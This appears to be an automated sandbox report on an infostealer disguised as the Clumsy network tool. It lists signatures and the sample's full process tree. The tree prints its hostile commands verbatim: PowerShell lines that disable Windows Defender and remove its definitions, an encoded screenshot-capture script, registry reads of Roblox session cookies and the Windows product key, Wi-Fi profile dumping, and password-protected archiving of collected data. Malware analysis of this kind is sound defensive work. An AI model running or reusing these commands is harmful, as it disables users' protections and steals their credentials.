Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2024, 22:11

General

  • Target

    Clumsy0.4v3/Clumsy0.4v3.exe

  • Size

    6.8MB

  • MD5

    9fd3c49b9da98a810d4f0b392f0ab0d9

  • SHA1

    98a44a3fba9cc28e49dfb9f632bbdc7b28f56a14

  • SHA256

    b3f7f7969e0785bbcd065f3ae393813b3a8b29a4a1f7a16e0c62f9d9d4746d6f

  • SHA512

    2129b5fb23a984eb9a81001c1fc928d893c4c13605f10c156b00101891451f7a4b9f899728412ea9f859ae887701ba7ae8c4979b235c747c2c3e6eb23af1eacd

  • SSDEEP

    196608:pqFhHeN/FJMIDJf89gsAGK5SEQReuAKe3bUb:cU/Fqyf89gsfNZAKP

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 9 IoCs
  • Clipboard Data 1 TTPs 6 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 12 IoCs
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 6 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 3 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
    "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1112
    • C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe
      "C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4712
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"
          4⤵
            PID:456
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4496
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:4464
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1948
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3004
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4032
          • C:\Windows\System32\Wbem\WMIC.exe
            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3476
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
          3⤵
          • Clipboard Data
          • Suspicious use of WriteProcessMemory
          PID:840
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Get-Clipboard
            4⤵
            • Clipboard Data
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3456
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3884
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tree /A /F"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3848
          • C:\Windows\system32\tree.com
            tree /A /F
            4⤵
              PID:1972
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
            3⤵
            • System Network Configuration Discovery: Wi-Fi Discovery
            • Suspicious use of WriteProcessMemory
            PID:4628
            • C:\Windows\system32\netsh.exe
              netsh wlan show profile
              4⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:1132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "systeminfo"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3980
            • C:\Windows\system32\systeminfo.exe
              systeminfo
              4⤵
              • Gathers system information
              PID:4208
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1872
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
              4⤵
                PID:1048
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2144
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2284
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\au3wtlha\au3wtlha.cmdline"
                  5⤵
                    PID:5092
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF46.tmp" "c:\Users\Admin\AppData\Local\Temp\au3wtlha\CSC48C58DFE5484368ADB3A8949DADFB82.TMP"
                      6⤵
                        PID:980
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3292
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:1752
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:756
                    • C:\Windows\system32\attrib.exe
                      attrib -r C:\Windows\System32\drivers\etc\hosts
                      4⤵
                      • Drops file in Drivers directory
                      • Views/modifies file attributes
                      PID:4880
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:3536
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:2508
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                        3⤵
                          PID:320
                          • C:\Windows\system32\attrib.exe
                            attrib +r C:\Windows\System32\drivers\etc\hosts
                            4⤵
                            • Drops file in Drivers directory
                            • Views/modifies file attributes
                            PID:1636
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                          3⤵
                            PID:1432
                            • C:\Windows\system32\tasklist.exe
                              tasklist /FO LIST
                              4⤵
                              • Enumerates processes with tasklist
                              • Suspicious use of AdjustPrivilegeToken
                              PID:5012
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "tree /A /F"
                            3⤵
                              PID:1844
                              • C:\Windows\system32\tree.com
                                tree /A /F
                                4⤵
                                  PID:2860
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                3⤵
                                  PID:4432
                                  • C:\Windows\system32\tree.com
                                    tree /A /F
                                    4⤵
                                      PID:1492
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                    3⤵
                                      PID:868
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                        4⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1880
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                      3⤵
                                        PID:3524
                                        • C:\Windows\system32\tree.com
                                          tree /A /F
                                          4⤵
                                            PID:4600
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                          3⤵
                                            PID:1848
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                              4⤵
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:448
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "getmac"
                                            3⤵
                                              PID:1764
                                              • C:\Windows\system32\getmac.exe
                                                getmac
                                                4⤵
                                                  PID:1844
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\zma5u.zip" *"
                                                3⤵
                                                  PID:3056
                                                  • C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe
                                                    C:\Users\Admin\AppData\Local\Temp\_MEI11122\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\zma5u.zip" *
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:1744
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                  3⤵
                                                    PID:1532
                                                    • C:\Windows\System32\Conhost.exe
                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                      4⤵
                                                        PID:1492
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic os get Caption
                                                        4⤵
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1088
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                      3⤵
                                                        PID:2632
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic computersystem get totalphysicalmemory
                                                          4⤵
                                                            PID:4804
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                          3⤵
                                                            PID:5016
                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                              wmic csproduct get uuid
                                                              4⤵
                                                                PID:3012
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                              3⤵
                                                                PID:4636
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:468
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                3⤵
                                                                  PID:2208
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    4⤵
                                                                    • Detects videocard installed
                                                                    PID:448
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                  3⤵
                                                                    PID:2356
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:5012
